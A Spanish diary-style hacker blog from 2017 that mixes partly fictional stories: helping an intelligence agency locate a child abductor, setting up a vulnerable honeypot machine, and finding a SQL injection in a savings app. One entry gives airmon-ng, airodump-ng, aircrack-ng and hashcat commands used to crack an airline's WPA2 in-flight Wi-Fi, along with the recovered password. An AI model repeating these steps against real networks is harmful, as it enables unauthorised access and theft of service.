Al llegar a las oficinas me di cuenta que el cliente no era cualquiera cliente, era una agencia de inteligencia. Entré y me llevaron al site donde estaba el servidor; me pusieron una cámara al lado y me empezaron a grabar. Era algo extraño, pero seguí trabajando. De pronto escuché un grito y entró un tipo medio de avanzada edad muy algo y gordo, me jalo del cuello y gritó:

– ¡Traíganme a ese hijo de la chi&%/( para acá!

Las personas que me habían recibido, que hasta donde sé eran como los encargados de sistemas, se disculparon por el comportamiento del tipo y me llevaron a una oficina donde estaba allí sentado. Me miró, me hizo una seña para que me sentase, se sentó y sacó una pistola que pusó de forma firme en el escritorio que nos separaba.

– ¿Quién chin&/( eres tú que le moviste algo a mis servidores?

Como consultor amable le intenté explicar lo que estaba haciendo a lo que sólo me grito varias cosas que no puedo escribir; luego me empezó a preguntar algunas cosas a modo de control, y cuando pudo verificar que yo realmente era quién decía ser, me dijo:

– Bien, te voy a explicar el problema.

La situación era está. Me encontraba en un área de inteligencia del estado; había un tipo que enamoraba niñas, las secuestraba, las violaba, las descuartizaba, guardaba todo eso en vídeo y luego lo vendía en la deep web. Ya llevaba varias víctimas y unos días antes había secuestrado a una niña de 16 años; así que mi misión era hacerme pasar por su hermana y obtener el password de algo que me persistiese obtener su ubicación.

¿Era complicado?, bueno en realidad relativamente pero todo se volvía complejo. No era lo mismo estar intentando obtener una contraseña cuando sabes que si no encuentras nada bien, porque el cliente está seguro y se la encuentras, igual bien porque demostraste que estaba inseguro; a que de tus acciones dependa la vida de alguien.

En ese entonces yo no estaba envuelto en problemas como los actuales; era una persona normal con un empleo normal.

Al final lo conseguí, si usé SET, me hice pasar por la hermana de la niña secuestrada y mandé una imagen por el chat de Facebook. Hoy en día cuando se manda una imagen por el chat de Facebook se carga la imagen al servidor y obvio tiene una ruta diferente; en ese entonces no, se copiaba el link, se precargaba y hacia la petición hacia la imagen original. Por lo que obtuve la IP y pude dar una localización aproximada que mediante técnicas policiales sirvieron para encontrar al tipo.

No, la historia no acabó bien, la niña no se puedo salvar, pero al menos se evitó que volviese a pasar; y el tipo fue capturado. Cuando me fui de la oficina del cliente estaba dandole unos tehuacanazos y con el fiscal inventando una historia coherente para poder justificar que estuve realizando acciones ilegales para encontrarlo.

El general me invitó unos tacos de carnitas; uno de los agentes me preguntó como modificar el fstab en Linux. Y tomé mi autobus para regresar a la ciudad. Una semana más tarde renuncié y me fui a vivir a Aguascalientes.

Fue un proyecto raro, pero probablemente es una de las pocas veces en las que algo que hice tuvo un impacto positivo.

Sé que he hecho muchas cosas malas y no se compensa, pero podría hacer cosas buenas, sólo… supongo mi destino es hacer todo mal.

Cuando platiqué eso mis amigos dijeron “wow”, y sólo dije “si, wow… pero, mira.. tengo tu password”. Se rieron y pensaron que había sido broma mi historia. No lo había sido, pero creo que es mejor… soy vendetta, yo siempre soy mala persona.

Jueves, 2 de Noviembre de 2017: Tal vez debiese huir

Querido diario… ¿cómo te imaginas a un hacker?

Hum.. bueno, mal ejemplo. Usualmente te los imaginas con computadoras Lenovo, con un montón de máquinas virtuales, ejecutando OpenBSD, una playera de Hacker Stickers, tal vez la de Jonny Pancakes, todo el shell, tal vez usando Fluxbox o algo así…

¿Cómo se imaginas a un bug bounty hunter?

Hum.. ahora que lo pienso, si… el swides ninja (nunca se como escribir eso), es un buen ejemplo… casi todos los bug bounty hunters que conozco se ven como él.

¿Cómo me veo sho?…

Bien, aquí es cuando me dices “joven, tenemos problema” </voz_lalo>

El día de ayer me puse a configurar una computadora que voy a dejar olvidada en el aeropuerto de El Dorado, la idea es conectarla a la red y esperar a que la ataquen; ¿para qué?… oh, con calma, ya lo sabrás.

Mi idea fue configurar Damn Vulnerable Web Application, una aplicación hecha en PHP para que la gente aprenda sobre el TOP 10 de OWASP. DVWA está hecha en PHP 5 y requiere de algunas librerías como GD y también usa MySQL. Para librarme de todos los problemas y debido a que esto tiene que ser muy vulnerable lo más apropiado era usar Linux, Churrubuntu en especifico.

Churrubuntu a cambiado mucho, aun recuerdo las versiones 4.x donde te llegaba un CD y decían que estaba pensado para computadoras de bajo rendimiento. Bueno… olvídate de eso; 2 GB de RAM, 80o GB de Disco Duro y esa cosa no arrancaba en su instalación más simple. Adíos.

Pasé a algo más profesional y de machos, Debian. Lo instalé, aquí arrancó perfecto con 512 de RAM, y la instalación me ocupo apenas 1 GB ya con Gnome (qué aunque Jajotheclown diga que no, ¡es copia de Windows!). Empecé a instalar y tuve el primer problema. PHP 5 es muy viejo y ya no tiene paquete, vienen con PHP 7.

Y bueno, yo que crecí confiando en que APT era mágico (que creo que ya ni es APT, es Aptitute o algo así), propuse confiar en eso, y le consulte a un experto.

Ya que mi amigo urkonn me dijo que definitivamente no iba funcionar, hice lo que imaginaras… así es, metí los repositorios y recé

Y seguí rezando…

Y después de mucho tiempo que se quedó allí esa cosa detenida… ¡funcionó!

Ni urkonn me creía…. si es tan complicado configurar ambientes vulnerables, ¿cómo es que los sysadmins se las ingenian para ser tan hackeables?, la mayoría de las vulnerabilidades se remediarían instalando actualizaciones y parches.

Bueno… no acabe ya de preparar el jumpbox, porque pss.. me dio flojera; pero… algo que me preocupo mucho es que; diablos, voy a enfrentarme a la Policía Nacional de Colombia, gente muy preparada para enfrentar casos incluso de guerrilla, y yo… bueno, yo estoy muy viejo y desactualizado y me acabo de dar cuenta que ya ni existe ifconfig:

Ahora hay que usar una cosa llamada ip address… ¿a quién se le ocurrió eso?, en OS X si tenemos ifconfig

Así que bueno, ya te habrás dado cuenta que soy un persona… hum… diferente a los hackers e incluso diferente a los bug bounty hunters normales. Yo visto de dinosaurio, uso un iPhone, Macbook pro, OS X y hasta pago mi licencia de Office.

Querido diario.. tal vez debiese empacar y regresar a casa, voy a acabar en la cárcel.

Ouuu por cierto, Synack me invitó a un concurso de fin de año…. el premio es un viaje de México [inserte aquí emoticón sin boquita]

Todo cuadra… pasado mañana viajo a Bogotá, hackeo todo, paso la mercancía, me lío con varias colombianas rubias, güeras, altas y pechugonas; huyo a Peru a ver que se supone que tengo que hacer; viajo de vuelta Mexicali, me encierro a trabajar en el Starbucks y ganó el viaje a… México; ok… será un premio raro.

🙁 esto me preocupa un poco.

Bueno.. al menos hoy vi algo que me causó mucha alegría… y que me recuerda unos cascos rosas de Hello Kitty.

1 de Noviembre de 2017: “Ser mexicano es chido, pero ser chilango es un don de Dios”

Querido diario…

El día de hoy, todavía de ayer apagué mi ofrenda de día de muertos; me despedí de la única persona que actualmente me sentiría mal de no volver a ver en Mexicali; fui a Baires a comer un ribeye término inglés y bebimos un café. Si, suena como cuando vas a cumplir una condena a muerte… y tal vez sea eso; aunque si te soy sincero, la posibilidad de acabar muerto en esta nueva misión, es lo único bueno. Poner fin a todo.

Salí en el vuelo de la media noche de Mexicali al DF, el vuelo Y752 de Volaris, ESE vuelo. Al llegar, sólo baje, tomé otro café, leí mis notas y salí del aeropuerto a comprar un pan de muerto. Volví al aeropuerto y aborde el siguiente vuelo.

Me habría gustado ver a mi familia, pero era muy temprano y tenía muy poco tiempo.

¿Sabes cuanto cuesta usar Internet dentro de un avión de AA?, ¡$45 dlls!, es un robo…. así es, no pensaba pagarlos. En mi mochila siempre traigo varias cosas; antes traía un Pineapple, pero la deje a Jan.. Karen; una amiga, que me dijo que no podía mencionarla en el blog o me golpearía, Jan.. digo Karen la usa para sus pentests. Así que últimamente sólo traigo una tarjeta wireless externa, con un chipset bastante genérico RealTek que detectan todos los kernels que he probado; un cable de red, un cable cruzado, unas ganzuas y las gemelas.

Conecté mi tarjeta wireless y abrí mi máquina virtual de Kali; primero coloqué la tarjeta en modo monitor para poder almacenar el tráfico que detectase:

# ifconfig wlan0 down
# iwconfig wlan0 mode monitor
# airmon-ng start wlan0

Después busqué la red usando usando airodump:

# airodump-ng mon0

Lo bueno de estar a 10, 000 de altura es que no vas a encontrar muchas redes, sólo había una 😛 … protegida con WPA2, como la mayoría de las redes actualmente, e interesante no tenía activo el WPS.

Guarde con airodump el tráfico de la red, si, aunque no lo creas había bastante tráfico, no puedo creer que haya gente que pagué tanto por usar Internet. Limpié el archivo:

# wpaclean

Y lo convertí a un HCCAP:

# aircrack-ng aa.pcap -J aa2

Y a crackear…

# ./cudaHashcat.bin -m 5000 aa2.hccap word -r rules/d3adOne.rule

Y voilá: AA618USAPotB

Y listo.. pude empezar con la fase inicial de la misión, y sin la cual no podría haber continuado… ver Strager Things.

¿Qué?, si voy a morir al menos debía de saber que pasaba con los demodogos… obvio, después de comprobar que viejas, todas son iguales hasta en las series, tomé una siesta.

Bajando del avión me dirigí al hotel. Creo que es lógico, para todos los que ven series de narcos, cuando uno mezcla las ciudades Miami y Bogotá, todas ellas en la misma frase; y mis contactos eran un tico y un panameño, pues… creo que es obvio de que va el asunto. Llegué al hotel, me registré… y esperé en el centro de negocios.

Pedí tres cafés, llegaron mis contactos y entonces empezamos a platicar los detalles de la misión. Y les presenté chan-chan-chan:

El pan de muerto, es algo que ellos no tienen en sus países, lo probaron y entonces las tensiones se fueron… R, como lo llamaremos al despedirse me hizo un gran cumplido. Me dijo que era fan de la cultura mexicana, que de hecho cada día de muertos él va al centro cultural mexicano en Costa Rica a probar el pan de muerto; y que cada que puede viaja a México con su esposa e hijos para pasar las vacaciones; pero que sin duda lo que más le impresiona de México es el Distrito Federal, me dijo que había viajado a Nueva York, Tokio, Ontario, incluso Dubaí; y que simplemente el sigue enamorado de la Ciudad de México.

Después me dio unos documentos con la información de mis contactos en Colombia; y me dijo “hay dos tipos de mexicanos en este mundo; sólo dos. Los que nacen mexicanos; y los que nacemos fuera pero queremos ser mexicanos. Y de entre los primeros, todos son increíbles, ser mexicano es maravilloso, pero ser chilango, ser chilango es un don de Dios; son la raza mexicana más maravillosa. Gracias por el pan C… vendetta.”

Me retiré a mi habitación, leí la lista de contactos en Colombia que me darán la mercancía y empecé a prepararme para el ataque. Aun no estoy muy seguro de lo que haré, pero seguro va a incluir algunas conexiones en reversa a un equipo olvidado puesto a posta por mi para que la Policía Nacional de Colombia le haga defensa ofensiva.

Para ello… ¿qué puede ser más vulnerable?, obvio Linux; ¿y entre todas las distros cual es la peor?, Churrubuntu.. jamás la he usado y siempre le he aborrecido; pero ahora que vi esto me causa más horror:

Wow… toda la pasión del movimiento de Software Libre en Churrubuntu… que horror, y la gente en mis tiempos se quejaba de Microsoft.

Odio la playa, me quedaré todo el día preparando todo; y mañana… bueno… mañana ya empezará lo bueno.

Querido diario… mis asesores de confianza me dicen que tenía una buena vida, ¿cómo es que acabé traficando coca… Coca-Cola entre países… hum… si, tenía todo lo que soñé.

Bueno, hay que trabajar, que este jumpbox no se va a configurar sólo B\ … y para cuando iba terminando de escribir, mi vida se complicó un poco más:

Hum.. ¿qué hay en Perú que Mom quiere que vaya tan de forma urgente?… hum…

Viernes, 6 de Octubre de 2017: Ahorro obligatorio

Querido diario…

Yo soy pésimo ahorrando, no sé si sabrás pero desde que tengo recuerdo mis finanzas han sido muuuuuy malas; los bancos no me tienen mucho aprecio que digamos, y ahora que milagrosamente los planetas se han alineado y me ha estado yendo bien económicamente he probado diferentes formas de ahorro e inversión.

Una de las que recientemente he probado se llama Piggo, que es un fondo de inversión “cool”. Su idea es simplificar la inversión y hacerla entendible a un riesgo relativamente bajo. La aplicación a mi me parece malísima, esta pensada a ser completamente móvil, y cuando uno entra a una aplicación web espera tener más opciones que en la móvil, pero aquí es lo contrario. Otra de las ideas de Piggo es que ahorras para objetivos mundanos, en vez de pensar como inversor en cuando es tu margen de ganancia y demás, acá simplemente defines un objetivo “Comprar una casa”, defines tu ahorro inicial “$1000” y luego programas una domiciliazación periódica quincenal o mensual para cumplir la meta, entonces cada que recibas tu sueldo (usualmente en México quincenalmente) puedes programar un cargo automático, para como dicen por allí “si no lo tengo, no me lo gasto”.

La otra opción de Piggo es que defines tu nivel de riesgo… no explicaré mucho eso porque psss es cosa de inversiones, pero el punto es que la aplicación en automático te genera perdidas o ganancias hasta que llegas a tu objetivo, en ese momento deja de hacer los cobros y te congela tu dinero para que puedas retirarlo a tu cuenta bancaria o a la caja chica de Piggo para definir otro objetivo de ahorro. De hecho la clave de todo es que jamás maneja el término inversión, sino todo es ahorro.

Pues bueno… como yo apenas estaba probado si funcionaba o no, la descargué, me registré y al hacerlo te pide crear el primer objetivo de ahorro, como no tenía idea pensé en ponerle “Dinero para calzoncillos nuevos” pero luego dije “nah, que tal si un día tengo que pedir soporte y lee quién me atienda que mis calzoncillos están viejos, entonces le puse “Sexo, drogas & rock ‘n roll”… programé la meta de ahorro, hice mi ahorro inicial, puse el nivel de riesgo, y listo.

Como no fue mucho le puse el 100% del capital a un nivel de riesgo altísimo y un retiro sólo para probar como funcionaba la domiciliazación de ahorros. Todo iba bien, ayer gané bastante y llegué a mi objetivo en dos días. Todo era felicidad, dije “¡ots!, peroooooo.. hoy intenté sacar el dinero para ir a comprar mis calzoncillos nuevos y:

¿Qué pajoooooo?.. pues que la comilla está rompiendo la query. Y ahora mi dinero está encerrado.

Y ahora querido diario… entenderas que es un poco complicado marcar a un call center y decirle a quién te atiende “oye.. ¿sabes?, le encontré un SQL Injection a tu aplicación.. y de pasó deje mi dinero congelado, ¿me puedes ayudar?”.

Después de como dos horas en las que pasé de operador a operador y no entendían como ayudarme porque jamás les había pasado que a alguien se le ocurría poner esa comilla. Me dijeron “no entendemos, pero haremos la transferencia manual el lunes”.

Querido diario… últimamente me pasa que tengo dinero, pero por causas como que no aceptan tarjeta, PayPal, ApplePay o porque básicamente fui bendecido con un talento increible por los dioses para encontrar vulnerabilidades de una forma mágica hasta cuando intento no hacerlo; no tengo dinero.

¡Hey.. no intentes explotar el SQL injection!, es autenticado y en México son mínimo 6 años como delito federal 😉

Miércoles, 4 de Octubre de 2017: NoTrustSex

Querido diario… Bytevick me convenció de organizar un Meetup:

¿Aburrido de las “Security Nights” de $100 dlls llenas de “lauch a Nessus scan as a professional”?, ¿cansado de los cyber-meetups llenos de marcas?

NoTrustSex… digo NoTrustSec es un MeetUp creado por Victor Gomez y un sujeto exiliado en un recóndito desierto, que busca rascar en lo más profundo de tu nostalgia, haciéndote recordar esas noches de IDA, defacements y muchos alert(1) que se han quedado en el pasado bajo ese oscuro traje, y esa apretada corbata.

Este 17 de octubre, en el sur de la ciudad… ve, toca, mira, habla, comparte y aprende… entrada gratuita.

NoTrustSec
Más ‘1 or 1=1– menos sqlmap -u
https://www.meetup.com/es/NoTrustSec/